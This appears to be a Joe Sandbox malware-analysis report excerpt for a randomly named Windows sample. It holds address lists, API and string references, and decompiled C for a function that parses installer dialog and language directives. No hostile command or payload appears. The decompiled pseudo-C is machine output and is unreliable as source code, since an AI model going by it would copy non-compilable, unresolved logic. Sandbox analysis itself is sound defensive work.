0x00871b54
0x00871b55
0x00871b57
0x00871b58
0x00871b5d
0x00871b62
0x00871b68
0x00871b6a
0x00871b6c
0x00871b6f
0x00871b76
0x00871b77
0x00871b7d
0x00871b7e
0x00871b81
0x00871b82
0x00871b83
0x00871b88
0x00871b8b
0x00871b91
0x00871b9a
0x00871b9d
0x00871ba2
0x00871ba4
0x00871ba6
0x00871ba8
0x00871ba8
0x00871baa
0x00871baa
0x00871bac
0x00871bac
0x00871bb4
0x00871bbb
0x00871bbd
0x00871bc4
0x00871bca
0x00871bcc
0x00871bcd
0x00871bd5
0x00871be4
0x00871be4
0x00871bd5
0x00871bef
0x00871bf1
0x00871c00
0x00871c06
0x00871c0c
0x00871c17
0x00871c17
0x00000000
0x00871c0c
0x00871b44
0x00871b49
0x00000000
0x00000000
0x00000000
0x00871b49
0x00871b0f
0x00871b13
0x00000000
0x00000000
0x00871b15
0x00871b18
0x00871b1a
0x00871b1d
0x00000000
0x00871b23
0x00871b2c
0x00000000
0x00871b2c
0x00871b1d
0x00000000
0x00871cc8
0x00871cc9
0x00871cce
0x00871cd0
0x00871cd3
0x00871cd3
0x00000000
0x00871d09
0x00871d10
0x00871d12
0x00871d12
0x00871d14
0x00871d43
0x00871d43
0x00871d49
0x00000000
0x00871d49
0x00871d16
0x00871d16
0x00871d19
0x00871d32
0x00871d38
0x00871d38
0x00000000
0x00871d38
0x00871d1b
0x00871d1b
0x00871d1e
0x00000000
0x00000000
0x00871d20
0x00871d20
0x00871d23
0x00000000
0x00000000
0x00871d29
0x00000000
0x00000000
0x00871d96
0x00871d98
0x00871d9f
0x00871da0
0x00871da6
0x00871dae
0x00871db0
0x00871db3
0x00871e63
0x00871e63
0x00871e67
0x00871e76
0x00871e7a
0x00000000
0x00000000
0x00871e80
0x00871e83
0x00000000
0x00000000
0x00871e89
0x00871e89
0x00871e8b
0x00871e8c
0x00871e8c
0x00871e8d
0x00871e8e
0x00871e91
0x00000000
0x00871e91
0x00871e69
0x00871e6c
0x00000000
0x00000000
0x00871e72
0x00000000
0x00871e72
0x00871db9
0x00871dbf
0x00871dc1
0x00871dc2
0x00871dc7
0x00871dc8
0x00871dc9
0x00871dcb
0x00871e60
0x00871e60
0x00000000
0x00871e60
0x00871dd1
0x00871dd1
0x00871dd4
0x00871dd7
0x00871dd9
0x00871ddc
0x00871de2
0x00871de4
0x00871de5
0x00871deb
0x00871dec
0x00871df1
0x00871df4
0x00871df6
0x00000000
0x00000000
0x00871df8
0x00871dfa
0x00871dfa
0x00871e02
0x00000000
0x00000000
0x00871e09
0x00871e10
0x00871e15
0x00871e1c
0x00871e1e
0x00871e20
0x00871e27
0x00871e2c
0x00871e2e
0x00871e30
0x00871e32
0x00871e32
0x00871e38
0x00871e3f
0x00871e44
0x00871e46
0x00871e48
0x00871e4a
0x00871e4a
0x00871e4b
0x00871e4d
0x00871e53
0x00871e54
0x00871e5a
0x00871e5c
0x00871e5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00871e5e
0x00000000
0x00000000
0x00871ec5
0x00871ec8
0x00872047
0x0087204a
0x00872050
0x00872056
0x00872058
0x00872058
0x00872062
0x00872062
0x00000000
0x0087204a
0x00871ece
0x00871ed4
0x00871ee2
0x00871ee9
0x00871eee
0x00871ef0
0x00871ef2
0x00871ef7
0x00871ef7
0x00871f0f
0x00871f1c
0x00871f21
0x00871f23
0x00000000
0x00000000
0x00871ef5
0x00871ef5
0x00871ef6
0x00871ef6
0x00871f2f
0x00871f35
0x00871f3c
0x00000000
0x00000000
0x00871f42
0x00871f48
0x00000000
0x00000000
0x00871f4e
0x00871f50
0x00871f57
0x00871f5d
0x00871f5f
0x00871f60
0x00871f65
0x00871f66
0x00871f67
0x00871f69
0x00871fb9
0x00871fb9
0x00871fc0
0x00871fce
0x00871fdf
0x00871fed
0x00871fed
0x00871ff9
0x00871ffe
0x00872000
0x00872010
0x0087201a
0x0087201f
0x00872022
0x0087202d
0x0087202f
0x00872036
0x0087203c
0x0087203c
0x00000000
0x00872022
0x00871f6b
0x00871f72
0x00871f74
0x00871f77
0x00000000
0x00000000
0x00871f79
0x00871f7c
0x00871f7c
0x00871f80
0x00000000
0x00000000
0x00871f82
0x00871f8a
0x00871f8b
0x00871f8d
0x00871f90
0x00000000
0x00000000
0x00000000
0x00871f92
0x00871f9f
0x00871faa
0x00871faf
0x00871faf
0x00871fb1
0x00000000
0x00000000
0x0087206e
0x00872071
0x00872073
0x0087207a
0x0087207c
0x00872082
0x00872083
0x00872088
0x00872089
0x00872089
0x0087208e
0x00872091
0x00872097
0x00872097
0x0087209c
0x00000000
0x00000000
0x008720a8
0x008720ab
0x00000000
0x00000000
0x008720b1
0x008720b3
0x008720ba
0x008720c2
0x008720c8
0x008720cb
0x008720ee
0x008720f5
0x008720cd
0x008720cd
0x008720d0
0x008720e0
0x008720e7
0x008720d2
0x008720d2
0x008720d9
0x008720d9
0x008720d0
0x008720fa
0x00872108
0x0087210d
0x0087210f
0x00872116
0x00872125
0x0087212c
0x00872131
0x00872133
0x00872134
0x0087213b
0x0087218e
0x00872193
0x00872195
0x00000000
0x00000000
0x0087219b
0x008721a2
0x008721a8
0x008721aa
0x008721ad
0x0087225f
0x00000000
0x0087225f
0x008721b3
0x008721b6
0x008721b6
0x008721b8
0x008721b9
0x008721bc
0x008721c6
0x008721c6
0x008721c8
0x008721d2
0x008721d7
0x008721d9
0x0087223b
0x0087223b
0x00000000
0x0087223b
0x008721e2
0x008721e8
0x008721ed
0x008721ef
0x00000000
0x00000000
0x008721f1
0x008721f3
0x008721f4
0x008721f7
0x008721f9
0x008721fc
0x00872212
0x00872214
0x00872216
0x0087221c
0x0087221c
0x0087221f
0x00000000
0x00000000
0x00872219
0x00872219
0x00872219
0x00872221
0x00872227
0x00872229
0x0087222e
0x00872231
0x00872236
0x00000000
0x00872236
0x008721fe
0x00872205
0x0087220a
0x00000000
0x0087220a
0x008721be
0x008721c0
0x008721c1
0x008721c4
0x00000000
0x00000000
0x00000000
0x0087223e
0x0087223e
0x00872241
0x00872244
0x00872246
0x00872246
0x0087224f
0x00872254
0x00872256
0x00872258
0x0087225a
0x0087225a
0x00000000
0x0087213d
0x00872145
0x00872151
0x00872157
0x00872158
0x00872159
0x0087215e
0x0087215f
0x00872160
0x00872162
0x00872168
0x0087216a
0x0087217d
0x0087217d
0x00872264
0x00872264
0x0087226c
0x00872276
0x0087227d
0x0087227d
0x0087228a
0x00872291
0x00872296
0x0087229e
0x008722aa
0x008722aa
0x008722b7
0x008722bc
0x008722c4
0x008722ce
0x008722db
0x008722e2
0x008722e2
0x008722ef
0x008722f6
0x008722fb
0x00872303
0x00872309
0x0087230b
0x0087230b
0x00872320
0x00872325
0x00872331
0x00872333
0x00872344
0x00872351
0x00000000
0x00872335
0x00872340
0x00872342
0x00872356
0x00872356
0x00872362
0x0087236f
0x0087237b
0x00872382
0x00872387
0x0087238e
0x00872394
0x0087239b
0x008723a1
0x008723a8
0x008723aa
0x008723ac
0x008723ae
0x008723b0
0x008723b6
0x008723b8
0x008723ba
0x008723bc
0x008723c2
0x008723c4
0x008723ce
0x008723d1
0x008723d7
0x008723e6
0x008723eb
0x008723f2
0x008723f4
0x008723f5
0x008723fb
0x008723fc
0x008723fe
0x00872403
0x00872403
0x00000000
0x008723f2
0x00000000
0x00872342
0x00872333
0x00000000
0x0087240b
0x0087240e
0x00872410
0x00872410
0x00000000
0x00000000
0x00871d55
0x00871d5d
0x00871d63
0x00871d66
0x00871d8a
0x00871d68
0x00871d68
0x00871d6b
0x00871d7e
0x00871d6d
0x00871d6d
0x00871d6f
0x00871d74
0x00871d74
0x00871d6b
0x00000000
0x00000000
0x00871e9b
0x00871e9c
0x00871ea1
0x00871ea1
0x00871ea1
0x00871ea4
0x00871ea9
0x00871eaf
0x00871eaf
0x00871ebb
0x00871ebb
0x00000000
0x00000000
0x008717e0
0x008717e0
0x008717e5
0x008717e6
0x008717e7
0x008717ec
0x008717f2
0x008717f5
0x00000000
0x008717f7
0x008717f7
0x00000000
0x008717f7
0x00872417
0x00872417
0x0087241c
0x00872420
0x00872424
0x0087242b
0x00872432
0x00872435
0x0087243a
0x0087243d
0x00872440
0x0087244a

APIs

__EH_prolog.LIBCMT ref: 00871782

Part of subcall function 00870354: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0087043B

Part of subcall function 008700F6: _wcschr.LIBVCRUNTIME ref: 00870191

_wcslen.LIBCMT ref: 00871A48
_wcslen.LIBCMT ref: 00871A51
SetWindowTextW.USER32(?,?), ref: 00871AAF
_wcslen.LIBCMT ref: 00871AF1
_wcsrchr.LIBVCRUNTIME ref: 00871C39
GetDlgItem.USER32(?,00000066), ref: 00871C74
SetWindowTextW.USER32(00000000,?), ref: 00871C84
SendMessageW.USER32(00000000,00000143,00000000,008B0A42), ref: 00871C92
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00871CBD

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00871B58
<br>, xrefs: 00871A12
%s.%d.tmp, xrefs: 0087197E
ProgramFilesDir, xrefs: 00871B83

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 986293930-312220925
Opcode ID: 6f7c7bed471a2f41f4ffe6e9c5b3199a011d924437e06368785f8349e29596df
Instruction ID: a3a359708abd93a7d4bdefcd30f0050f1b28b215854484a3d954b37a0fff53b2
Opcode Fuzzy Hash: 6f7c7bed471a2f41f4ffe6e9c5b3199a011d924437e06368785f8349e29596df
Instruction Fuzzy Hash: 9CE14272900219AADF25DBA8DC89EEE77BCFB04350F5480A5F64DE3054EB74DE848B61

Uniqueness

Uniqueness Score: -1.00%

Function 008640C7 Relevance: 25.2, APIs: 5, Strings: 9, Instructions: 663
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E008640C7(char* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t245;
				void* _t246;
				WCHAR* _t247;
				void* _t252;
				unsigned int _t258;
				signed int _t264;
				signed int _t268;
				void* _t279;
				signed short* _t283;
				void* _t284;
				void* _t290;
				signed short* _t294;
				void* _t295;
				signed int _t299;
				signed int _t303;
				signed int _t318;
				signed int _t322;
				signed int _t324;
				signed int _t326;
				signed int _t333;
				char* _t334;
				signed int _t338;
				short _t341;
				void* _t342;
				signed int _t346;
				char* _t348;
				char* _t350;
				char* _t355;
				void* _t358;
				void* _t360;
				void* _t363;
				signed int _t372;
				char* _t374;
				unsigned int _t385;
				unsigned int _t389;
				signed int _t392;
				signed int _t397;
				signed int _t399;
				void* _t400;
				signed int _t401;
				void* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				char* _t421;
				signed int _t424;
				signed int _t425;
				void* _t430;
				char* _t434;
				signed int _t443;
				signed int _t444;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				char* _t451;
				signed int _t453;
				signed int _t455;
				void* _t456;
				intOrPtr* _t459;
				signed int _t461;
				signed int _t462;
				char* _t463;
				signed int _t466;
				signed int _t467;
				char** _t468;
				void* _t470;
				void* _t471;
				void* _t473;
				void* _t477;
				void* _t478;

				_t443 = __edx;
				_t471 = _t470 - 0x54;
				E00873A94(0x88702b, _t468);
				E00873AC0(0x41fc);
				_t245 = 0x5c;
				_push(_t245);
				_push(_t468[0x18]);
				_t459 = __ecx;
				_t468[4] = _t245;
				_t468[0xe] = __ecx;
				_t246 = E008750E0(__ecx);
				_t372 = 0;
				_t475 = _t246;
				_t247 = _t468 - 0x31d0;
				if(_t246 != 0) {
					E008668CD(_t247, _t468[0x18], 0x800);
				} else {
					GetModuleFileNameW(0, _t247, 0x800);
					 *((short*)(E00863887(_t475, _t468 - 0x31d0))) = 0;
					E008668A5(_t475, _t468 - 0x31d0, _t468[0x18], 0x800);
				}
				E00861A7F(_t468 - 0x4208);
				_push(4);
				 *(_t468 - 4) = _t372;
				_push(_t468 - 0x31d0);
				if(E00861E20(_t468 - 0x4208, _t459) == 0) {
					L125:
					_t252 = E00861AEC(_t468 - 0x4208); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t468 - 0xc));
					__eflags =  &(_t468[0x16]);
					return _t252;
				} else {
					_t447 = _t372;
					_t477 =  *0x893600 - _t447; // 0x64
					if(_t477 <= 0) {
						L7:
						E0087AC00(_t372,  *_t459,  *((intOrPtr*)(_t459 + 4)), 4, E00863D40);
						E0087AC00(_t372,  *((intOrPtr*)(_t459 + 0x14)),  *((intOrPtr*)(_t459 + 0x18)), 4, E00863CA0);
						_t473 = _t471 + 0x20;
						_t468[0x14] = _t372;
						_t448 = _t447 | 0xffffffff;
						_t468[0xf] = _t372;
						while(_t448 == 0xffffffff) {
							_t348 = E00862380(_t468 - 0x4208); // executed
							_t468[0x12] = _t348;
							_t350 = E008620D0(_t468 - 0x4208, _t443, _t468 - 0x21d0, 0x2000);
							_t468[0x11] = _t350;
							_t467 = _t372;
							_t24 = _t350 - 0x10; // -16
							_t434 = _t24;
							_t468[0xa] = _t434;
							if(_t434 < 0) {
								L25:
								_t351 = _t468[0x12];
								L26:
								E00862270(_t468 - 0x4208, _t468,  &(_t351[ &(_t468[0x11][0xfffffffffffffff0])]), _t372, _t372);
								_t355 =  &(_t468[0xf][1]);
								_t468[0xf] = _t355;
								__eflags = _t355 - 0x100;
								if(_t355 < 0x100) {
									continue;
								}
								__eflags = _t448 - 0xffffffff;
								if(_t448 == 0xffffffff) {
									goto L125;
								}
								break;
							} else {
								goto L10;
							}
							L12:
							_t363 = E0087B030(_t468 - 0x21ce + _t467, "*messages***", 0xb);
							_t473 = _t473 + 0xc;
							if(_t363 == 0) {
								L24:
								_t351 = _t468[0x12];
								_t448 =  &(_t468[0x12][_t467]);
								goto L26;
							} else {
								_t350 = _t468[0x11];
							}
							L14:
							_t443 = 0x2a;
							if( *((intOrPtr*)(_t468 + _t467 - 0x21d0)) != _t443) {
								L18:
								if( *((char*)(_t468 + _t467 - 0x21d0)) != 0x52 ||  *((char*)(_t468 + _t467 - 0x21cf)) != 0x61) {
									L21:
									_t467 = _t467 + 1;
									if(_t467 > _t468[0xa]) {
										goto L25;
									} else {
										_t350 = _t468[0x11];
										L10:
										if( *((char*)(_t468 + _t467 - 0x21d0)) != 0x2a ||  *((char*)(_t468 + _t467 - 0x21cf)) != 0x2a) {
											goto L14;
										} else {
											goto L12;
										}
									}
								} else {
									_t358 = E0087B030(_t468 - 0x21ce + _t467, 0x888674, 4);
									_t473 = _t473 + 0xc;
									if(_t358 == 0) {
										goto L125;
									}
									goto L21;
								}
							}
							_t439 = _t468 - 0x21cc + _t467;
							if( *((intOrPtr*)(_t468 - 0x21cc + _t467 - 2)) == _t443 && _t467 <=  &(_t350[0xffffffffffffffe0])) {
								_t360 = E0087A913(_t439, L"*messages***", 0xb);
								_t473 = _t473 + 0xc;
								if(_t360 == 0) {
									_t468[0x14] = 1;
									goto L24;
								}
							}
							goto L18;
						}
						asm("cdq");
						E00862270(_t468 - 0x4208, _t468, _t448, _t443, _t372);
						_push(0x200002);
						_t461 = E0087AA2B(_t468 - 0x4208);
						_t468[0x13] = _t461;
						__eflags = _t461;
						if(_t461 == 0) {
							goto L125;
						}
						_t258 = E008620D0(_t468 - 0x4208, _t443, _t461, 0x200000);
						__eflags = _t468[0x14];
						_t385 = _t258;
						_t468[0x12] = _t385;
						if(_t468[0x14] == 0) {
							_push(2 + _t385 * 2);
							_t449 = E0087AA2B(_t385);
							__eflags = _t449;
							if(_t449 == 0) {
								goto L125;
							}
							_t468[0x12][_t461] = _t372;
							E008678FD(_t461, _t449,  &(_t468[0x12][1]));
							L008787AE(_t461);
							_t389 = _t468[0x12];
							_t461 = _t449;
							_t468[0x13] = _t461;
							L33:
							_t264 = 0x100000;
							__eflags = _t389 - 0x100000;
							if(_t389 <= 0x100000) {
								_t264 = _t389;
							}
							 *((short*)(_t461 + _t264 * 2)) = 0;
							E00866872(_t468 - 0x108, 0x88867c, 0x64);
							_push(0x20002);
							_t450 = E0087AA2B(0);
							_t468[0x11] = _t450;
							__eflags = _t450;
							if(_t450 != 0) {
								__eflags = _t468[0x12];
								_t462 = _t372;
								_t392 = _t372;
								_t468[0xc] = _t462;
								_t268 = _t372;
								 *(_t468 - 0x40) = _t372;
								_t468[0xb] = _t392;
								_t468[0x15] = _t268;
								_t468[0xa] = 0x20;
								_t468[0xf] = 9;
								if(_t468[0x12] <= 0) {
									L109:
									__eflags =  *(_t468 - 0x40);
									if( *(_t468 - 0x40) == 0) {
										_t463 = _t468[0xe];
										L122:
										L008787AE(_t468[0x13]);
										L008787AE(_t468[0x11]);
										_t451 =  &(_t463[0x3c]);
										__eflags = _t463[0x2c] - _t372;
										if(_t463[0x2c] <= _t372) {
											L124:
											 *0x895edc = _t463[0x28];
											E0087AC00(_t372,  *_t451, _t463[0x40], 4, E00863E00);
											E0087AC00(_t372, _t463[0x50], _t463[0x54], 4, E00863E30);
											goto L125;
										} else {
											goto L123;
										}
										do {
											L123:
											E008648C1(_t451, _t443, _t372);
											E008648C1( &(_t463[0x50]), _t443, _t372);
											_t372 = _t372 + 1;
											__eflags = _t372 - _t463[0x2c];
										} while (_t372 < _t463[0x2c]);
										goto L124;
									}
									_t468[7] = _t392;
									_t468[8] = E0087D65A(_t372, _t462, _t468 - 0x40);
									_pop(_t397);
									__eflags = _t462;
									if(_t462 == 0) {
										L118:
										 *(_t450 + _t462 * 2) = 0;
										_t279 = 0x22;
										__eflags =  *_t450 - _t279;
										if( *_t450 == _t279) {
											__eflags = _t450;
										}
										_t468[9] = E0087BFA6(_t372, _t450);
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t463 = _t468[0xe];
										E008648DC( &(_t463[0x28]), _t443, _t397, _t397, _t450);
										goto L122;
									}
									_t212 = _t462 - 1; // -1
									_t283 = _t450 + _t212 * 2;
									_t443 = 0x20;
									do {
										_t397 =  *_t283 & 0x0000ffff;
										__eflags = _t397 - _t443;
										if(_t397 == _t443) {
											goto L114;
										}
										__eflags = _t397 - _t468[0xf];
										if(_t397 != _t468[0xf]) {
											break;
										}
										L114:
										_t397 = 0;
										 *_t283 = 0;
										_t283 = _t283 - 2;
										_t462 = _t462 - 1;
										__eflags = _t462;
									} while (_t462 != 0);
									__eflags = _t462;
									if(_t462 != 0) {
										_t284 = 0x22;
										__eflags =  *((intOrPtr*)(_t450 + _t462 * 2 - 2)) - _t284;
										if( *((intOrPtr*)(_t450 + _t462 * 2 - 2)) == _t284) {
											__eflags = 0;
											 *((short*)(_t450 + _t462 * 2 - 2)) = 0;
										}
									}
									goto L118;
								}
								_t468[6] = 0xd;
								_t468[5] = 0xa;
								do {
									_t399 = _t468[0x13];
									__eflags = _t268;
									if(_t268 == 0) {
										L75:
										_t443 =  *(_t399 + _t268 * 2) & 0x0000ffff;
										_t268 = _t268 + 1;
										_t468[0x15] = _t268;
										__eflags = _t443;
										if(_t443 == 0) {
											break;
										}
										__eflags = _t443 - _t468[4];
										if(_t443 != _t468[4]) {
											_t400 = 0xd;
											__eflags = _t443 - _t400;
											if(_t443 == _t400) {
												L93:
												__eflags =  *(_t468 - 0x40);
												if( *(_t468 - 0x40) == 0) {
													L105:
													 *(_t468 - 0x40) = _t372;
													_t462 = _t372;
													_t468[0xb] = _t372;
													L106:
													_t468[0xc] = _t462;
													goto L107;
												}
												_t468[7] = _t468[0xb];
												_t468[8] = E0087D65A(_t372, _t462, _t468 - 0x40);
												_pop(_t401);
												__eflags = _t462;
												if(_t462 == 0) {
													L102:
													 *(_t450 + _t462 * 2) = 0;
													_t290 = 0x22;
													__eflags =  *_t450 - _t290;
													if( *_t450 == _t290) {
														__eflags = _t450;
													}
													_t468[9] = E0087BFA6(_t372, _t450);
													asm("movsd");
													asm("movsd");
													asm("movsd");
													E008648DC( &(_t468[0xe][0x28]), _t443, _t401, _t401, _t450);
													_t450 = _t468[0x11];
													_t268 = _t468[0x15];
													goto L105;
												}
												_t185 = _t462 - 1; // -1
												_t294 = _t450 + _t185 * 2;
												_t443 = 0x20;
												do {
													_t401 =  *_t294 & 0x0000ffff;
													__eflags = _t401 - _t443;
													if(_t401 == _t443) {
														goto L98;
													}
													__eflags = _t401 - _t468[0xf];
													if(_t401 != _t468[0xf]) {
														break;
													}
													L98:
													_t401 = 0;
													 *_t294 = 0;
													_t294 = _t294 - 2;
													_t462 = _t462 - 1;
													__eflags = _t462;
												} while (_t462 != 0);
												__eflags = _t462;
												if(_t462 != 0) {
													_t295 = 0x22;
													__eflags =  *((intOrPtr*)(_t450 + _t462 * 2 - 2)) - _t295;
													if( *((intOrPtr*)(_t450 + _t462 * 2 - 2)) == _t295) {
														__eflags = 0;
														 *((short*)(_t450 + _t462 * 2 - 2)) = 0;
													}
												}
												goto L102;
											}
											_t404 = 0xa;
											__eflags = _t443 - _t404;
											if(_t443 == _t404) {
												goto L93;
											}
											__eflags = _t462 - 0x10000;
											if(_t462 >= 0x10000) {
												goto L107;
											}
											L92:
											 *(_t450 + _t462 * 2) = _t443;
											_t462 = _t462 + 1;
											goto L106;
										}
										__eflags = _t462 - 0x10000;
										if(_t462 >= 0x10000) {
											goto L107;
										}
										_t406 = ( *(_t399 + _t268 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t406;
										if(_t406 == 0) {
											_push(0x22);
											L88:
											_pop(_t407);
											 *(_t450 + _t462 * 2) = _t407;
											_t268 = _t268 + 1;
											_t468[0x15] = _t268;
											_t462 = _t462 + 1;
											goto L106;
										}
										_t410 = _t406 - 0x3a;
										__eflags = _t410;
										if(_t410 == 0) {
											_push(0x5c);
											goto L88;
										}
										_t411 = _t410 - 0x12;
										__eflags = _t411;
										if(_t411 == 0) {
											_push(0xa);
											goto L88;
										}
										_t412 = _t411 - 4;
										__eflags = _t412;
										if(_t412 == 0) {
											_push(0xd);
											goto L88;
										}
										__eflags = _t412 != 0;
										if(_t412 != 0) {
											goto L92;
										}
										_push(9);
										goto L88;
									}
									_t444 =  *(_t399 + _t268 * 2 - 2) & 0x0000ffff;
									__eflags = _t444 - _t468[6];
									if(_t444 == _t468[6]) {
										L42:
										_t443 = 0x3a;
										__eflags =  *(_t399 + _t268 * 2) - _t443;
										if( *(_t399 + _t268 * 2) != _t443) {
											L65:
											_t468[0x10] = _t399 + _t268 * 2;
											_t299 = E008666E4( *(_t399 + _t268 * 2) & 0x0000ffff);
											__eflags = _t299;
											if(_t299 == 0) {
												L74:
												_t399 = _t468[0x13];
												_t268 = _t468[0x15];
												goto L75;
											}
											E008668CD(_t468 - 0x298, _t468[0x10], 0x64);
											_t303 = E0087A94D(_t468 - 0x298, L" \t,");
											_t468[0x10] = _t303;
											__eflags = _t303;
											if(_t303 == 0) {
												goto L74;
											}
											 *_t303 = 0;
											E00867B46(_t468 - 0x298, _t468 - 0x16c, 0x64);
											E00866872(_t468 - 0xa4, _t468 - 0x108, 0x64);
											E0086684B(__eflags, _t468 - 0xa4, _t468 - 0x16c, 0x64);
											E00866872(_t468 - 0x40, _t468 - 0xa4, 0x32);
											_t318 = E0087AA41(_t372, 0, _t443, _t462, _t468 - 0xa4,  *(_t468[0xe]), _t468[0xe][4], 4, E00863DE0);
											_t473 = _t473 + 0x14;
											__eflags = _t318;
											if(_t318 != 0) {
												_t322 =  *_t318 * 0xc;
												__eflags = _t322;
												_t156 = _t322 + 0x893150; // 0x28b64ee0
												_t468[0xb] =  *_t156;
											}
											_t268 =  &(( &(_t468[0x15][1]))[_t468[0x10] - _t468 - 0x298 >> 1]);
											__eflags = _t268;
											_t421 = _t468[0x13];
											while(1) {
												_t443 =  *(_t421 + _t268 * 2) & 0x0000ffff;
												__eflags = _t443 - _t468[0xa];
												if(_t443 == _t468[0xa]) {
													goto L72;
												}
												L71:
												__eflags = _t443 - _t468[0xf];
												if(_t443 != _t468[0xf]) {
													_t468[0x15] = _t268;
													goto L107;
												}
												L72:
												_t268 = _t268 + 1;
												_t443 =  *(_t421 + _t268 * 2) & 0x0000ffff;
												__eflags = _t443 - _t468[0xa];
												if(_t443 == _t468[0xa]) {
													goto L72;
												}
												goto L71;
											}
										}
										_t453 = _t468[0x15];
										_t324 = _t268 | 0xffffffff;
										__eflags = _t324;
										_t466 = _t372;
										_t468[0xd] = _t324;
										_t374 = _t468[0x13];
										 *_t468 = L"STRINGS";
										_t468[1] = L"DIALOG";
										_t468[2] = L"MENU";
										_t468[3] = L"DIRECTION";
										do {
											_t468[0x10] = E00878793(_t468[_t466]);
											_t326 = E0087A913( &(_t374[2]) + _t453 * 2, _t468[_t466], _t325);
											_t473 = _t473 + 0x10;
											__eflags = _t326;
											if(_t326 != 0) {
												L47:
												_t424 = _t468[0xd];
												goto L48;
											}
											_t346 =  &(_t468[0x10][_t453]);
											_t430 = 0x20;
											__eflags = _t374[2 + _t346 * 2] - _t430;
											if(_t374[2 + _t346 * 2] > _t430) {
												goto L47;
											}
											_t424 = _t466;
											_t453 = _t346 + 1;
											_t468[0xd] = _t424;
											L48:
											_t466 = _t466 + 1;
											__eflags = _t466 - 4;
										} while (_t466 < 4);
										_t462 = _t468[0xc];
										_t372 = 0;
										_t468[0x15] = _t453;
										_t450 = _t468[0x11];
										__eflags = _t424;
										if(__eflags != 0) {
											_t268 = _t468[0x15];
											_t399 = _t468[0x13];
											if(__eflags <= 0) {
												goto L65;
											} else {
												goto L53;
											}
											while(1) {
												L53:
												_t443 = _t399 + _t268 * 2;
												_t455 =  *_t443 & 0x0000ffff;
												__eflags = _t455 - _t468[0xa];
												if(_t455 == _t468[0xa]) {
													goto L55;
												}
												L54:
												__eflags = _t455 - _t468[0xf];
												if(_t455 != _t468[0xf]) {
													_t468[0x15] = _t268;
													_t425 = _t372;
													_t456 = 0x20;
													__eflags = ( *_t443 & 0x0000ffff) - _t456;
													_t468[0x10] = _t372;
													_t450 = _t468[0x11];
													if(( *_t443 & 0x0000ffff) <= _t456) {
														L60:
														 *((short*)(_t468 + _t425 * 2 - 0x1d0)) = 0;
														E00867B46(_t468 - 0x1d0, _t468 - 0xa4, 0x64);
														_t468[0x15] =  &(_t468[0x15][_t468[0x10]]);
														_t333 = _t468[0xd];
														__eflags = _t333 - 3;
														if(_t333 != 3) {
															__eflags = _t333 - 1;
															_t334 = "$%s:";
															if(_t333 != 1) {
																_t334 = "@%s:";
															}
															E00864C11(_t468 - 0x108, 0x64, _t334, _t468 - 0xa4);
															_t473 = _t473 + 0x10;
														} else {
															_t338 = E0087A890(_t468 - 0x1d0, _t468 - 0x1d0, L"RTL");
															asm("sbb al, al");
															_t468[0xe][0x64] =  ~_t338 + 1;
														}
														L51:
														_t268 = _t468[0x15];
														goto L107;
													} else {
														goto L57;
													}
													while(1) {
														L57:
														__eflags = _t425 - 0x63;
														if(_t425 >= 0x63) {
															break;
														}
														_t341 =  *_t443;
														_t443 = _t443 + 2;
														 *((short*)(_t468 + _t425 * 2 - 0x1d0)) = _t341;
														_t425 = _t425 + 1;
														_t342 = 0x20;
														__eflags =  *_t443 - _t342;
														if( *_t443 > _t342) {
															continue;
														}
														break;
													}
													_t468[0x10] = _t425;
													goto L60;
												}
												L55:
												_t268 = _t268 + 1;
												L53:
												_t443 = _t399 + _t268 * 2;
												_t455 =  *_t443 & 0x0000ffff;
												__eflags = _t455 - _t468[0xa];
												if(_t455 == _t468[0xa]) {
													goto L55;
												}
												goto L54;
											}
										}
										E00866872(_t468 - 0x108, 0x88867c, 0x64);
										goto L51;
									}
									__eflags = _t444 - _t468[5];
									if(_t444 != _t468[5]) {
										goto L75;
									}
									goto L42;
									L107:
									__eflags = _t268 - _t468[0x12];
								} while (_t268 < _t468[0x12]);
								_t392 = _t468[0xb];
								goto L109;
							} else {
								L008787AE(_t461);
								goto L125;
							}
						}
						_t389 = _t385 >> 1;
						_t468[0x12] = _t389;
						goto L33;
					} else {
						goto L5;
					}
					goto L7;
					L5:
					E008648C1(_t459, _t443, _t447);
					E008648C1(_t459 + 0x14, _t443, _t447);
					_t447 = _t447 + 1;
					_t478 = _t447 -  *0x893600; // 0x64
					if(_t478 < 0) {
						goto L5;
					} else {
						_t372 = 0;
						goto L7;
					}
				}
			}

0x008640c7
0x008640c8
0x008640d0
0x008640da
0x008640e4
0x008640e5
0x008640e6
0x008640e9
0x008640eb
0x008640ee
0x008640f1
0x008640f7
0x008640f9
0x008640fc
0x00864102
0x0086413e
0x00864104
0x0086410c
0x00864124
0x0086412e
0x0086412e
0x00864149
0x0086414e
0x00864156
0x00864159
0x00864167
